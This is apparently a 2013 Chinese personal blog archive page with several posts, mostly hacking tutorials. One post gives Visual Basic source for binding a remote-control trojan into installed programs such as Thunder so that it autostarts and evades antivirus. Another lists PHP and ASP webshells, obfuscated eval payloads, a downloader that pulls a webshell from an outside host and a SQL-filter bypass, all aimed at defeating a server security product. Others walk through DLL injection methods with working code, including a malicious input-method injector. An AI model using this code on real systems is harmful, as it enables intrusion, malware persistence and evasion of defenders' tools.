首页
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
更多
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
Search
1
全网首发-小米AX6000路由器解锁ssh并固化ssh+2.5G有线mesh组网+公网访问路由后台+红米AX6/小米AX6/AX3600/AX6000/AX9000全系列适用
6,781 阅读
2
青龙面板必装依赖及青龙各种问题解决
3,925 阅读
3
NAS一键批量清除重复文件
3,538 阅读
4
群辉DSM7.0.1安装bootstrap后解决wget: error while loading shared libraries: libgnuintl.so.8: cannot open shared object file: No such file or directory
1,600 阅读
5
《爱情公寓4》全集高清迅雷下载
898 阅读
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
登录
Search
标签搜索
wordpress
News
iphone
vb
iOS
technology
渗透
QQ
php
talk
JavaScript
hack
Typecho
NAS
福利
c++
diy
c
免杀
评测
Jonty
累计撰写
275
篇文章
累计收到
979
条评论
今日撰写
0
篇文章
首页
栏目
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
页面
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
用户登录
登录
搜索到
70
篇与
的结果
2013-08-07
wordpress评论添加算术验证码
(一)在主题目录的functions.php添加如下代码:function spam_provent_math(){ $a=rand(5,15); $b=rand(5,15); echo "<input type='text' name='sum' id='sum' size='22' tabindex='3' value='动手又动脑,哦也 !' onfocus='if (this.value != \"\") {this.value = \"\";}' onblur='if (this.value == \"\") {this.value = \"动手又动脑,哦也 !\";}' /> = $a + $b (<font color='#0088DD'>防止机器人评论</font>)" ."<input type='hidden' name='a' value='$a'/>" ."<input type='hidden' name='b' value='$b'/>"; } function spam_provent_pre($spam_result){ $sum=$_POST['sum']; switch($sum){ case $_POST['a']+$_POST['b']:break; case null:wp_die('亲,算个结果撒');break; default:wp_die('算错啦⊙﹏⊙b汗'); } return $spam_result; } //注册用户or管理员则不需要验证 if(!is_user_logged_in() && $comment_data['comment_type']==''){ add_filter('preprocess_comment','spam_provent_pre'); }(二)在主题目录下的comments.php(不同的主题可能评论框的位置不同,有的主题可能在functions.php里面)中调用上述代码://根据是否是管理员来决定是否显示验证码 <!--?php if(!isset($_COOKIE['comment_author_email_'.COOKIEHASH]))spam_provent_math();?-->补充几句:如果验证码错误的时候页面变形,则把case null:wp_die('亲,算个结果撒');break; default:wp_die('算错啦⊙﹏⊙b汗');改成case null:err(__('亲,算个结果撒')); default:err(__('算错啦⊙﹏⊙b汗'));
2013年08月07日
91 阅读
0 评论
0 点赞
2013-07-17
2013挂载QQext的教程(显IP)
步骤1:在你安装QQ的目录建一个名为QQext的文件夹,把QQext解压后的所有文件复制到该文件夹。注:文件夹需建立到到D:\QQ\Bin,D:\代表你电脑上QQ的实际安装目录,默认的安装目录是C:\Program Files\Tencent\QQ\Bin。但如果你更改过安装路径请找到你实际安装的目录。步骤2:在D:\QQ\Bin\QQext\中运行gmd_editor.bat,如提示没有找到QQ,请按下确定关掉黑色dos窗口。右击gmd_editor.bat,选编辑,在记事本中设置正确的实际QQ安装的路径并保存。修改GMD编辑器中正确的QQ路径后保存。然后双击运行gmd_editor.bat成功后,将D:\QQ\中的common.xml.txd文件拖到弹出来的gmd编辑器的窗口。然后在里边找BEA07E3C-31B4-4F13-B8AA-BDBE0B8CCF43,将将下面的Common.dll改为qqext\qqext.dll。修改完毕后选菜单中的文件-另存为,保存到桌面:文件名:common.xml.txd步骤3:在D:\QQ\Bin\QQext\中右击qqext.ini,选编辑(如果没有编辑双击打开),找到proxydll=后,在=后边添加Common.dll,并保存。步骤4:重启电脑到安全模式(重启开机前按F8选择),在D:\QQ中重命名common.xml.txd为common.xml.txd-或者其他(此步操作是备份原文件。原名common.xml.txd),再把桌面上的common.xml.txd复制过来。步骤5:重启电脑到正常模式,启动QQ2013,你发现,QQext已经工作正常了。
2013年07月17日
86 阅读
0 评论
0 点赞
2013-07-14
VB之远控免杀之破杀软自启动
以前买了本书《终极免杀》,书还不错,主要是看中了360免杀的专题。里面就讲了这个方法来自启动。思路如下:查找系统指定软件路径(用注册表),然后把木马与主程序捆绑并替换。有些程序会自身检测。这个就要靠你自己了。源码中的资源文件放木马,源码感染的是迅雷,当然你可以改成别的!核心模块代码;Function GanRanExe(ByVal sFilePath As String) Dim MyArray() As Byte Dim CurrentSize As Long Dim FileArray() As Byte, FileArray1() As Byte Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray Close #1 Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 FileArray1 = LoadResData(101, "CUSTOM") Kill sFilePath Open sFilePath For Binary Access Write As #1 Put #1, , MyArray Put #1, , FileArray CurrentSize = LOF(1) Put #1, , FileArray1 Put #1, , "GanRanFileTbide" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1 & "," & CurrentSize & "," & UBound(FileArray1) + 1 Close #1 End Function Function FenLiGanRanExe(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(1) - 1) Get #1, FenLiXinXiSize(0) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function FenLiGanRanExe1(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(3) - 1) Get #1, FenLiXinXiSize(2) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function TestGanRan(ByVal sFilePath As String) As Boolean Dim FileArray() As Byte Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 If InStr(StrConv(FileArray, vbUnicode), "GanRanFileTbide") > 0 Then TestGanRan = True Else TestGanRan = False End If End Function Public Function ReadReg(ByVal hKey) On Error Resume Next Set pReg = CreateObject("Wscript.Shell") ReadReg = pReg.RegRead(hKey) End Function Function PanDuanpath() As Boolean On Error Resume Next Dim thunderPath thunderPath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Thunder Network\ThunderOem\thunder_backwnd\dir") If Dir(thunderPath & "\Program\Thunder.exe") <> "" Then FrmMain.Combo1.AddItem thunderPath FrmMain.Combo1.Text = thunderPath Else End If Dim Qvodpath Qvodpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\QvodPlayer\Insert\Insertpath") If Dir(Qvodpath & "/QvodPlayer.exe") <> "" Then FrmMain.Combo1.AddItem Qvodpath FrmMain.Combo1.Text = Qvodpath Else End If Dim PPSpath PPSpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PPStream.exe\Path") If Dir(PPSpath & "/PPStream.exe") <> "" Then FrmMain.Combo1.AddItem PPSpath FrmMain.Combo1.Text = PPSpath Else End If End Function{anote icon="fa-download" href="http://pan.baidu.com/share/link?shareid=603098846&uk=1547026424" type="success" content="源码下载地址"/}
2013年07月14日
124 阅读
0 评论
0 点赞
2013-07-10
过护卫神绕过方法总结
一、马儿篇,都是以前可以过护卫神的马二、注入篇,可以绕过注入的方法三、规则篇,根据护卫神的过滤规则大家可以自己设计马儿一、马儿篇1号<!--?php <br ?--> @eval ($_POST['1']);?> 2号nono<!--?php <br ?--> eval ($_POST [1]) ?> 3号<!--?php $a = str_replace(x,””,”axsxxsxexrxxt”);<br ?--> $a($_POST["c"]); ?> 菜刀直接连,不需要构造连接字符串,密码 c类似于过安全狗的包含方法A.asp版本: 将一句话保存为 XX.jpg 上传后 地址为 …/xxxxxx.jpg 在上传一个 x.asp 内容为 <!–#include file=”../xxxxxx.jpg”–> B.php版本 如果是php的话: <!--?php <br ?--> include “1.htm”; ?>实在不行,还可以下载远程下载马<% Set xPost = CreateObject(“Microsoft.XMLHTTP”) xPost.Open “GET”,”http://www.xxx.com/123/1.txt”,False xPost.Send() Set sGet = CreateObject(“ADODB.Stream”) sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile Server.MapPath(“ls.asp”),2 set sGet = nothing set sPOST = nothing %> —————————————————————二、注入篇/*%00*/截断符 select/*%00*/* from admin; —————————————————————三、规则篇可以利用类似:<!--?php <br ?--> $code=’一串base64′; //base64编码 $x=str_replace(‘f’,””,”bfafsfef6f4f_ffdffeffcffoffdffef”); //字符串替换 $a = ‘/a/’;//正则规则 preg_replace($a,’e’.’v’.’a’.’l’.’(‘.$x.’(‘.$code.’))’,’a’); //正则替换 ?> 方法绕过关键词过滤
2013年07月10日
79 阅读
1 评论
0 点赞
2013-07-07
DLL注入技术之APC注入
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。1.编写测试文件新建MFC工程,添加按钮控件,双击写代码如下所示:void CMfcTextApcInjectDlg::OnBnClickedSleepex() { // TODO: 在此添加控件通知处理程序代码 SleepEx(5000,TRUE); } 这里我们需要注意一下SleepEx中第二个参数为TRUE,查下msdn,上面写到:bAlertable [in] If this parameter is FALSE, the function does not return until the time-out period has elapsed. If an I/O completion callback occurs, the function does not return and the I/O completion function is not executed. If an APC is queued tothe thread, the function does not return and the APC function is not executed.大概意思是说当第二个参数为FALSE,APC是不被执行的,从此可以认为APC注入的使用条件还是有很大约束的。2.编写APC注入程序由于我们需要时使用LoadLibrary()函数完成注入,因此需要为其先准备好必要的参数,需要我们可以通过在远程进程中申请空间的方式写入LoadLibrary()函数所需要的参数(也就是DLL的路径)。关键代码如下所示://打开远程进程 handle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId); if (handle) { //在远程进程申请空间 lpData = VirtualAllocEx(handle, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpData) { //在远程进程申请空间中写入待注入DLL的路径 bRet = WriteProcessMemory(handle, lpData, (LPVOID)sDllName, 1024,&dwRet); } //关闭句柄 CloseHandle(handle); } 当我们准备好用于注入DLL的LoadLibrary()函数后,接下来需要使用QueueUserAPC()函数将此函数插入到软中断线程的APC队列中。但是由于QueueUserAPC()函数的第三个参数是线程ID,因此我们需要根据现有进程ID,并通过遍历对比得到线程ID,具体API如下表所示:CreateToolhelp32Snapshot 创建线程快照 Thread32First 得到第一个线程快照 Thread32Next 循环下一个线程快照关键代码如下所示:THREADENTRY32 te = {0}; te.dwSize = sizeof(THREADENTRY32); //得到线程快照 HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); if (INVALID_HANDLE_VALUE == handleSnap) { return FALSE; } BOOL bStat = FALSE; //得到第一个线程 if (Thread32First(handleSnap,&te)) { do { //进行进程ID对比 if (te.th32OwnerProcessID == dwProcessId) { //得到线程句柄 HANDLE handleThread = OpenThread( THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (handleThread) { //向线程插入APC dwRet = QueueUserAPC( (PAPCFUNC)LoadLibrary, handleThread, (ULONG_PTR)lpData); if (dwRet > 0) { bStat = TRUE; } //关闭句柄 CloseHandle(handleThread); } } //循环下一个线程 } while (Thread32Next(handleSnap,&te)); } CloseHandle(handleSnap); 3.MFC工程设置和提升权限经过以上两步的操作,我们已经准备好APC注入的关键代码,现在我们需要将自己的程序提升权限以方便注入操作(另,动态MFC库编译有可能造成注入失败)。主要代码如下: int CApcInjectDll::EnablePrivilege(bool isStart) { //1. 得到令牌句柄 HANDLE hToken = NULL; //令牌句柄 if (!::OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_READ, &hToken)) { return FALSE; } //2. 得到特权值 LUID luid = {0}; //特权值 if (!::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { return FALSE; } //3. 提升令牌句柄权限 TOKEN_PRIVILEGES tp = {0}; //令牌新权限 tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = isStart ? SE_PRIVILEGE_ENABLED : 0; if (!::AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)) { return FALSE; } //4. 关闭令牌句柄 ::CloseHandle(hToken); return 0; } 4.测试注入效果点击待注入的EXE进行SleepEx,这时EXE的窗口是不可以移动的,因为只有一个线程,处于SleepEx的挂起状态,然后进行注入,我们此时会发现处于挂起状态的进程窗口突然可以移动了,这是因为进程在挂起状态等待时,如果有APC队列就会退出等待并执行APC队列中的函数,然后程序继续运行。APC注入因为受目标进程使用API的条件而受限,并且处于等待的线程被注入后会立即返回,也有可能造成线程的运行错误,所以应用起来不是很通用。作者: xusir98来源: 黑客反病毒 (http://bbs.hackav.com)
2013年07月07日
67 阅读
0 评论
0 点赞
2013-07-07
DLL注入技术之依赖可信进程注入
依赖可信进程注入原理是利用Windows 系统中Services.exe这个权限较高的进程,首先将a.dll远线程注入到Services.exe中,再利用a.dll将b.dll远线程注入到待注入进程中。这里提供一个小技巧,当注入到Services.exe里的DLL时,想在做完事情后悄无声息的将自己释放掉,在Windows 中有这样的一个API函数FreeLibraryAndExitThread(),它可以把自己卸载掉并且退出线程,具体代码如下:DWORD ThreadProc(CMfcServicesInjectDLLApp* pThis) { //切换mfc模块 AFX_MANAGE_STATE(AfxGetStaticModuleState()); pThis->m_InjectObj.Attach( _T("calc.exe"), _T("D:\\MyDll\\RelyServicesInject\\Debug\\MfcExeInjectDLL.dll")); //在线程中卸载掉自己并且退出线程 FreeLibraryAndExitThread(pThis->m_hInstance,0); return 0; } // CMfcServicesInjectDLLApp 初始化 BOOL CMfcServicesInjectDLLApp::InitInstance() { DWORD dwThreadId; m_hThread = ::CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ThreadProc, this, NULL,&dwThreadId); return TRUE; }依赖可信进程注入其实就是远线程注入的增强版,它利用了系统较高权限的进程进行远程注入,大大提高了注入的成功率,并在注入完毕后释放掉自己,降低了被查杀的可能性。作者: xusir98来源: 黑客反病毒 (http://bbs.hackav.com)
2013年07月07日
68 阅读
0 评论
0 点赞
2013-07-07
DLL注入技术之消息钩子注入
消息钩子注入原理是利用Windows 系统中SetWindowsHookEx()这个API,他可以拦截目标进程的消息到指定的DLL中导出的函数,利用这个特性,我们可以将DLL注入到指定进程中。1.准备阶段需要编写一个DLL,并且显式导出MyMessageProc()函数,主要代码如下:LRESULT WINAPI MyMessageProc(int code,WPARAM wParam,LPARAM lParam) { return CallNextHookEx(NULL, code, wParam, lParam); } 显示导出某个函数需要在.def文件中的EXPORTS填写MyMessageProc()2.HOOK阶段 使用SetWindowsHookEx()之前首先需要将HOOK的DLL 加载到本身的进程中,以此得到DLL的模块句柄,再使用GetProcAddress()得到DLL中显示导出的函数MyMessageProc()的函数地址,最后遍历出待注入进程的线程ID,这样SetWindowsHookEx()就可以利用这些参数进行HOOK了。主要代码如下所示://加载DLL到本身进程 hMod = LoadLibrary(pDllName); if(!hMod) return FALSE; //得到显示函数的地址 lpFunc = (DWORD)GetProcAddress(hMod, "MyMessageProc"); if(!lpFunc) { if(hMod) FreeLibrary(hMod); return FALSE; } //得到待注入EXE的进程ID dwProcessId = GetProcessId(pExeName); if(!dwProcessId) { if(hMod) FreeLibrary(hMod); return FALSE; } //得到待注入EXE的线程ID dwThreadId = GetThreadId(dwProcessId); if(!dwThreadId) { if(hMod) FreeLibrary(hMod); return FALSE; } //利用HOOK进行注入 hhook = SetWindowsHookEx( WH_GETMESSAGE,//WH_KEYBOARD,//WH_CALLWNDPROC, (HOOKPROC)lpFunc, hMod, dwThreadId); 3.释放阶段利用LoadLibrary()得到的模块句柄把本身进程的DLL释放掉,代码如下所示:if(hMod) FreeLibrary(hMod);消息钩子注入只需要对SetWindowsHookEx()和DLL导出函数有深刻的认识就可以很容编写,所以代码简单,比较容易实现。作者: xusir98来源: 黑客反病毒 (http://bbs.hackav.com)
2013年07月07日
79 阅读
0 评论
0 点赞
2013-07-07
DLL注入技术之REG注入
DLL注入技术之REG注入DLL注入技术指的是将一个DLL文件强行加载到EXE文件中,并成为EXE文件中的一部分,这样做的目的在于方便我们通过这个DLL读写EXE文件内存数据,(例如 HOOK EXE文件中的API),或以被注入EXE的身份去执行一些操作等等。REG注入原理是利用在Windows 系统中,当REG以下键值中存在有DLL文件路径时,会跟随EXE文件的启动加载这个DLL文件路径中的DLL文件。当如果遇到有多个DLL文件时,需要用逗号或者空格隔开多个DLL文件的路径。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Windows\AppInit_DLLREG注入就好比在食堂(Windows 系统)发放给学生(EXE文件)饭菜(DLL文件)的过程中,食堂在将原有饭菜的基础上多发给一份紫菜鸡蛋汤(AppInit_DLL中的DLL文件),这个紫菜鸡蛋汤可以是英伟达的UI加速的DLL文件,也可以是是病毒文件的DLL,这就要看使用者是怎么利用这个特性了。设置完毕后,当我们启动一个EXE文件时(例如计算器),用调试器工具OllyDBG附加到计算器,调用OllyDBG菜单命令,“查看—可执行模块”,此时我们已经可以看到DLL文件已经附加在EXE文件中了我们可以利用这个特性来进行DLL的注入,接下来需要解决的就是关于注册表操作的Windows API了,如下所示:RegOpenKeyEx 打开注册表键值 RegQueryValueEx 查询键值 RegSetValueEx 设置键值 RegCloseKey 关闭键值主要代码如下://打开键值 nReg = RegOpenKeyEx( HKEY_LOCAL_MACHINE, m_szRegPath, 0, KEY_ALL_ACCESS, &hKey); if(nReg != ERROR_SUCCESS) { return FALSE; } //查询键值 DWORD dwReadType; DWORD dwReadCount; TCHAR szReadBuff[1000] = {0}; nReg = RegQueryValueEx(hKey, _T("AppInit_DLLs"), NULL, &dwReadType, (BYTE*)&szReadBuff, &dwReadCount); if(nReg != ERROR_SUCCESS) { return FALSE; } //是否dll名称已经在内容中 tstring strCmpBuff; strCmpBuff = szReadBuff; if (!strCmpBuff.find(InjectFilePath)) { return FALSE; } //有字符串就加入空格 if (0 != _tcscmp(szReadBuff,_T(""))) { _tcscat_s(szReadBuff,_T(" ")); } _tcscat_s(szReadBuff,InjectFilePath); //把dll路径设置到注册表中 nReg = RegSetValueEx(hKey, _T("AppInit_DLLs"), 0, REG_SZ, (CONST BYTE*)szReadBuff, (_tcslen(szReadBuff)+1)*sizeof(TCHAR));当我们完成了注册表的注入时,并不是希望所有程序都运行DLL里面的内容,这时我们就需要在DLL中过滤窗口名称,让指定窗口名称的EXE文件运行DLL里的线程。所需API如下表所示:CreateThread 创建线程 Sleep 睡眠 EnumWindows 遍历窗口 GetWindowText 得到窗口名称 GetCurrentProcessId 得到当前进程ID GetWindowThreadProcessId 由HWND获得进程ID为了实现此功能,我们需要在注入的DLL中创建线程,并在线程中执行遍历窗口函数,我们需要先获取窗口名称,与我们想运行的EXE名称进行对比,并进行进程ID对比,因为不光只有一个EXE文件的运行实例,经过这些过滤后,我们就可以在指定的EXE文件中运行代码了。主要代码如下:BOOL CALLBACK lpEnumFunc(HWND hwnd, LPARAM lParam) { TCHAR str[MAXBYTE] = {0}; //得到窗口名称 GetWindowText(hwnd,str,sizeof(str)); //是否名称是计算器 if(0 == _tcscmp(str,_T("计算器"))) { //由于存在可能多个计算器,需要过滤线程ID //得到本身线程的ID DWORD dwCurrentProcessId = GetCurrentProcessId(); DWORD dwFindCurrentProcessId = 0; //得到窗口线程ID GetWindowThreadProcessId(hwnd,&dwFindCurrentProcessId); //比较 if (dwCurrentProcessId == dwFindCurrentProcessId) { *(PDWORD)lParam = 1; return FALSE; } } return TRUE; } DWORD ThreadProc(CMfcRegInjectDllApp* pThis) { //切换mfc模块 AFX_MANAGE_STATE(AfxGetStaticModuleState()); //等待1秒时间以便于让windows创建窗口 Sleep(1000); DWORD dwFind = 0; //遍历窗口,过滤窗口名称 EnumWindows(lpEnumFunc,(LPARAM)&dwFind); if (!dwFind) return 0; //显示对话框 if (!pThis->m_pUIDlg) { pThis->m_pUIDlg = new RegInjectMessageBox(); pThis->m_pUIDlg->Create(IDD_DIALOG1); pThis->m_pUIDlg->ShowWindow(SW_SHOW); pThis->m_pUIDlg->RunModalLoop(); } return 0; } BOOL CMfcRegInjectDllApp::InitInstance() { //CWinApp::InitInstance(); DWORD dwThreadId; m_hThread = ::CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ThreadProc, this, NULL,&dwThreadId); return TRUE; }REG注入操作简单易懂,甚至不用写程序都可以完成注入操作,但是正是由于他的简单性,每个EXE都被注入,效率低,程序的扩展性差。作者: xusir98来源: 黑客反病毒 (http://bbs.hackav.com)
2013年07月07日
82 阅读
0 评论
0 点赞
2013-07-07
DLL注入技术之ComRes注入
ComRes注入的原理是利用Windows 系统中C:\WINDOWS\system32目录下的ComRes.dll这个文件,当待注入EXE如果使用CoCreateInstance()这个API时,COM服务器会加载ComRes.dll到EXE中,我们利用这个加载过程,移花接木的把ComRes.dll替换掉,并在伪造的ComRes.dll,然后利用LoadLibrary()将事先准备好的DLL加载到目标的EXE中。1.编写测试文件为了向大家完整的演示ComRes注入的过程,我们需要先建立一个使用CoCreateInstance()函数的示例程序。新建atl的DLL工程,这个工程中只提供了一个简单的com接口方法TestMsgBox,主要代码如下:STDMETHODIMP CCMyCom::TestMsgBox(void) { // TODO: 在此添加实现代码 MessageBox(0,0,0,0); return S_OK; } 这时编译后会产生一个tlb文件,他是调用com接口方法工程中所要使用的导入文件。新建mfc对话框工程,在stdafx.h文件中加入#import "tlb文件路径\xxxx.tlb " no_namespace。添加一个BUTTON控件,双击后在单击事件中写入调用atl中com接口方法。主要代码如下:void CReplaceRescomInjectDlg::OnBnClickedCallcom() { // TODO: 在此添加控件通知处理程序代码 CoInitialize(NULL); CLSID clsid; HRESULT hr = CLSIDFromProgID(OLESTR("CallComDll.CMyCom"),&clsid); ICMyCom *ptr; hr = CoCreateInstance(clsid,NULL,CLSCTX_INPROC_SERVER, __uuidof(ICMyCom),(LPVOID*)&ptr); ptr->TestMsgBox(); CoUninitialize(); } 编译过后用XueTr观察下EXE中的DLL文件我们发现他并没有调用comres.dll这个文件我们已经发现comres.dll已经被com服务器装载到这个EXE文件中了。2.伪造comres.dll文件使用DEPENDS.EXE文件查看一下,发现只有一个导出函数COMResModuleInstance()。新建一个DLL工程,加入def文件,添加导出函数EXPORTS COMResModuleInstance在主工程cpp文件中,加入如下代码。HANDLE ghInst = 0; BOOL isLoad = FALSE; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: ghInst = hModule; if (!isLoad) { LoadLibrary(_T("D:\\MyDll\\ReplaceRescomInject\\Debug\\LoadLibraryDll.dll")); isLoad = TRUE; } break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; } int COMResModuleInstance() { return (int)ghInst; } 编译后得到的文件改名为comres.dll,然后将其剪切到其他文件夹下备用,这时读者会问,为什么是剪切尓不是拷贝呢?原因在于当在exe同级目录下有和C:\WINDOWS\system32一样的文件,exe会首先加载同级目录下的文件,而不会加载C:\WINDOWS\system32中的文件。3.替换comres.dll文件由于直接拷贝comres.dll文件到C:\WINDOWS\system32目录下会引起winows的文件系统保护机制,所以首先需要将C:\WINDOWS\system32\dllcache下的文件替换掉,然后再将其C:\WINDOWS\system32文件替换为我们伪造的文件。ComRes注入只需伪造与替换就可以完成,编程要求不高,方便使用,但是由于加载了ComRes.dll后,再想替换ComRes.dll文件就不可能了,因此想反复测试ComRes.dll文件就比较麻烦。
2013年07月07日
98 阅读
0 评论
0 点赞
2013-07-07
DLL注入技术之输入法注入
输入法注入原理是利用Windows系统中在切换输入法需要输入字符时,系统就会把这个输入法需要的ime文件装载到当前进程中,而由于这个Ime文件本质上只是个存放在C:\WINDOWS\system32目录下的特殊的DLL文件,因此我们可以利用这个特性,在Ime文件中使用LoadLibrary()函数待注入的DLL文件。1.编写Ime文件输入法的Ime文件其实就是个显式导出19个特殊函数的DLL文件。如果想编写输入法程序,那么这19个导出函数都需要仔细的研究,但是对于只想实现注入的我们,现在只需要对ImeInquire()有比较深的认识就可以了。ImeInquire()是启动并初始化当前Ime输入法函数,他的声明如下:BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo,LPTSTR lpszUIClass,LPCTSTR lpszOption)第一个参数lpIMEInfo比较重要,用于输入对Ime输入法初始化的内容结构,如果这个结构填写错误,就会导致输入法不能正常运行。第二个参数是输入一个class类名,我们需要先使用RegisterClassEx()注册出一个窗口类。初始化ImeInquire()主要代码如下所示://启动并初始化当前ime输入法 BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo,LPTSTR lpszUIClass,LPCTSTR lpszOption) { //输入法初始化过程 //系统根据它为INPUTCONTEXT.hPrivate分配空间 lpIMEInfo->dwPrivateDataSize = 0; lpIMEInfo->fdwProperty = IME_PROP_KBD_CHAR_FIRST | IME_PROP_IGNORE_UPKEYS | IME_PROP_END_UNLOAD; lpIMEInfo->fdwConversionCaps = IME_CMODE_FULLSHAPE | IME_CMODE_NATIVE; lpIMEInfo->fdwSentenceCaps = IME_SMODE_NONE; lpIMEInfo->fdwUICaps = UI_CAP_2700; lpIMEInfo->fdwSCSCaps = 0; lpIMEInfo->fdwSelectCaps = SELECT_CAP_CONVERSION; // 注意该输入法基本窗口类必须注册,否则输入法不能正常运行 _tcscpy(lpszUIClass,CLSNAME_UI); return TRUE; } 注册出一个窗口类的主要代码如下:BOOL ImeClass_Register(HINSTANCE hInstance) { WNDCLASSEX wc; wc.cbSize = sizeof(WNDCLASSEX); wc.style = CS_VREDRAW | CS_HREDRAW | CS_DBLCLKS | CS_IME; wc.lpfnWndProc = UIWndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 2 * sizeof(LONG); wc.hInstance = hInstance; wc.hCursor = LoadCursor( NULL, IDC_ARROW ); wc.hIcon = NULL; wc.lpszMenuName = (LPTSTR)NULL; wc.lpszClassName = CLSNAME_UI; wc.hbrBackground = NULL; wc.hIconSm = NULL; if( !RegisterClassEx( (LPWNDCLASSEX)&wc ) ) return FALSE; return TRUE; } CLSNAME_UI是一个宏定义,如下:#define CLSNAME_UI _T("DLLCLASSNAME")在DllMain进程加载的过程中注册窗口类,主要代码如下:case DLL_PROCESS_ATTACH: if(!ImeClass_Register(hinstDLL)) return FALSE; //这里填写要load的DLL的路径 g_hModule = LoadLibrary(_T("D:\\MyDll\\ImeInject\\Debug\\MfcImeInjectDll.dll")); if (!g_hModule) { MessageBox(NULL,_T("模块没有load成功"),_T("提示"),MB_OK); } break; 此刻默认输出的DLL文件扩展名是.dll,与扩展名是.ime不符,则需要更改扩展名。2.编写装载输入法程序装载输入法的基本逻辑就是将他们编写的输入法设置为默认输入法,这样只要系统中所有进程都会默认加载他们的恶意输入法程序。黑客们首先需要得到系统当前的默认的输入法,以便恢复时使用。然后需要将ime文件拷贝到C:\WINDOWS\system32目录下,最后将装载成功后将我们的输入法设置成为默认输入法,主要代码如下:void CMfcImeInjectDlg::OnBnClickedAttach() { // TODO: 在此添加控件通知处理程序代码 //得到默认的输入法句柄并保存 ::SystemParametersInfo( SPI_GETDEFAULTINPUTLANG, 0, &m_retV, 0); //拷贝到system目录,只有ime文件在system32下才能装载成功 CopyFile( _T("D:\\MyDll\\ImeInject\\Debug\\MyImeDll.ime"), _T("C:\\WINDOWS\\system32\\MyImeDll.ime"), FALSE); //装载输入法 m_hImeFile = ImmInstallIME( _T("MyImeDll.ime"), _T("我的输入法")); if( ImmIsIME(m_hImeFile) ) { //设置为默认输入法 SystemParametersInfo( SPI_SETDEFAULTINPUTLANG, 0, &m_hImeFile, SPIF_SENDWININICHANGE); MessageBox(_T("安装输入法成功")); } } 3.编写卸载输入法:当新建进程不再需要注入时,我们就需要卸载输入法。卸载输入法时需要先判定系统当前的输入法不是其原有默认输入法,确认无误后将系统的默认输入法恢复后,再将恶意输入法卸载即可,主要代码如下:void CMfcImeInjectDlg::OnBnClickedDettach() { // TODO: 在此添加控件通知处理程序代码 ::SystemParametersInfo( SPI_SETDEFAULTINPUTLANG, 0, &m_retV, SPIF_SENDWININICHANGE); if (UnloadKeyboardLayout(m_hImeFile)) { MessageBox(_T("输入法卸载成功")); } } 